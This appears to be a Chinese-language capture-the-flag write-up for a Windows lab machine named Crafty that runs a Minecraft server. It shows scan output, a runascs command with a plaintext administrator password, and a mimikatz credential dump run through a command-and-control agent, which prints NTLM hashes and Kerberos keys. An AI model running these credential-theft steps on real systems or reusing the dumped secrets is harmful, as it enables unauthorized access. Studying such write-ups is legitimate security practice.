Zumpyx Blog

Crafty

Machines#587EasyWindows
← Machines

Recon & Enum

Nmap

  • Tcp
PORT      STATE SERVICE   VERSION
80/tcp    open  http      Microsoft IIS httpd 10.0
|_http-title: Crafty - Official Website
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
25565/tcp open  minecraft Minecraft 1.16.5 (Protocol: 127, Message: Crafty Server, Users: 0/100)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (88%)
Aggressive OS guesses: Microsoft Windows Server 2019 (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Web

image-20240211213903199.png

似乎是 Minecraft，那么对应的 25565 端口应该是 Mc 的服务端口。

Minecraft

image-20240211214018807.png

https://github.com/HMCL-dev/HMCL/releases/download/v3.5.5.235/HMCL-3.5.5.235.jar

  • HMCL 安装对应版本

image-20240212000329002.png

image-20240213115333937.png

image-20240213120442160.png

runascs.exe administrator s67u84zKq8IXw whoami

image-20240213121743200.png

Dump Hash

Demon » shell m.exe "privilege::debug" "token::elevate" "lsadump::sam" exit
[*] [D9458EC1] Tasked demon to execute a shell command
[+] Send Task to Agent [222 bytes]
[+] Received Output [4098 bytes]:

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [email protected] )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # token::elevate
Token Id  : 0
User name : 
SID name  : NT AUTHORITY\SYSTEM

548	{0;000003e7} 1 D 37203     	NT AUTHORITY\SYSTEM	S-1-5-18	(04g,21p)	Primary
 -> Impersonated !
 * Process Token : {0;002affa5} 1 D 3042162   	CRAFTY\Administrator	S-1-5-21-4088429403-1159899800-2753317549-500	(14g,24p)	Primary
 * Thread Token  : {0;000003e7} 1 D 3076660   	NT AUTHORITY\SYSTEM	S-1-5-18	(04g,21p)	Impersonation (Delegation)

mimikatz(commandline) # lsadump::sam
Domain : CRAFTY
SysKey : ad7915b8e6d4f9ee383a5176349739e3
Local SID : S-1-5-21-4088429403-1159899800-2753317549

SAMKey : 49c22e412c9f412fa291a26d8b76f51e

RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: 686d56296249595a2bc3d7a8807958ad

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 0bdf8f741aa491284a8ac838d18aaa99

* Primary:Kerberos-Newer-Keys *
    Default Salt : CRAFTYAdministrator
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : d5e84590aaa54c5d67a0169f0e40a90b105120f7d8f3586bab7d4ccd2aa6014a
      aes128_hmac       (4096) : 582238b622dd89769812f4e49444932c
      des_cbc_md5       (4096) : 6be63ed6c29ef845
    OldCredentials
      aes256_hmac       (4096) : 497ef0207b9c224fbd7ecc2399163749912b1b444c4c0c238416534c7a0825b2
      aes128_hmac       (4096) : 018d5701fbad4cedf69d07b49a612651
      des_cbc_md5       (4096) : 9d493de025f2ad1a

* Packages *
    NTLM-Strong-NTOWF

* Primary:Kerberos *
    Default Salt : CRAFTYAdministrator
    Credentials
      des_cbc_md5       : 6be63ed6c29ef845
    OldCredentials
      des_cbc_md5       : 9d493de025f2ad1a


RID  : 000001f5 (501)
User : Guest

RID  : 000001f7 (503)
User : DefaultAccount

RID  : 000001f8 (504)
User : WDAGUtilityAccount
  Hash NTLM: 7f920fb73571539eb18c0b2f876cfda0

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 7fc6a89643684e2a14f03126d2546715

* Primary:Kerberos-Newer-Keys *
    Default Salt : WDAGUtilityAccount
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 08e29c7564ee9474195115af207f62c793975d95bbcf160d64cba63850e684db
      aes128_hmac       (4096) : 2d189a6987f7ec21bd30e270d68ee04f
      des_cbc_md5       (4096) : 154a0be99270e926

* Packages *
    NTLM-Strong-NTOWF

* Primary:Kerberos *
    Default Salt : WDAGUtilityAccount
    Credentials
      des_cbc_md5       : 154a0be99270e926


RID  : 000003e9 (1001)
User : jacob
  Hash NTLM: cf3a5525ee9414229e66279623ed5c58

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : aecc3efbd04cb2887709cbfe1efe3d83

* Primary:Kerberos-Newer-Keys *
    Default Salt : COMPETITORjacob
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 55d5341ecb9ec774bb541cad47eb60c38b0d8e56b2ea3826be18cd99d9be857a
      aes128_hmac       (4096) : 1e1453a187f5a68a7fa4fca035d3409e
      des_cbc_md5       (4096) : b615c7e052c4fe08

* Packages *
    NTLM-Strong-NTOWF

* Primary:Kerberos *
    Default Salt : COMPETITORjacob
    Credentials
      des_cbc_md5       : b615c7e052c4fe08


RID  : 000003ea (1002)
User : svc_minecraft
  Hash NTLM: 786082f9a8cb7872767bb1a4b7934451

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 78bcc5add4a3f344ba492d3f8a17de78

* Primary:Kerberos-Newer-Keys *
    Default Salt : CRAFTYsvc_minecraft
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 3e455203823c8c94c7333c7cff2b830897721f19189f1d6ee8603134ae58786b
      aes128_hmac       (4096) : 9bae77b1dc4d62
[+] Received Output [576 bytes]:
c134517ac2d14156c3
      des_cbc_md5       (4096) : 43a1df10c1a4c852
    OldCredentials
      aes256_hmac       (4096) : e7dbf66db8ea7937415898cc87200940faa75c5056795c9b02347c0366c483d3
      aes128_hmac       (4096) : e50c102b7686cfd27b0f46b1f0a78b44
      des_cbc_md5       (4096) : 2cbccde3d501ba15

* Packages *
    NTLM-Strong-NTOWF

* Primary:Kerberos *
    Default Salt : CRAFTYsvc_minecraft
    Credentials
      des_cbc_md5       : 43a1df10c1a4c852
    OldCredentials
      des_cbc_md5       : 2cbccde3d501ba15


mimikatz(commandline) # exit
Bye!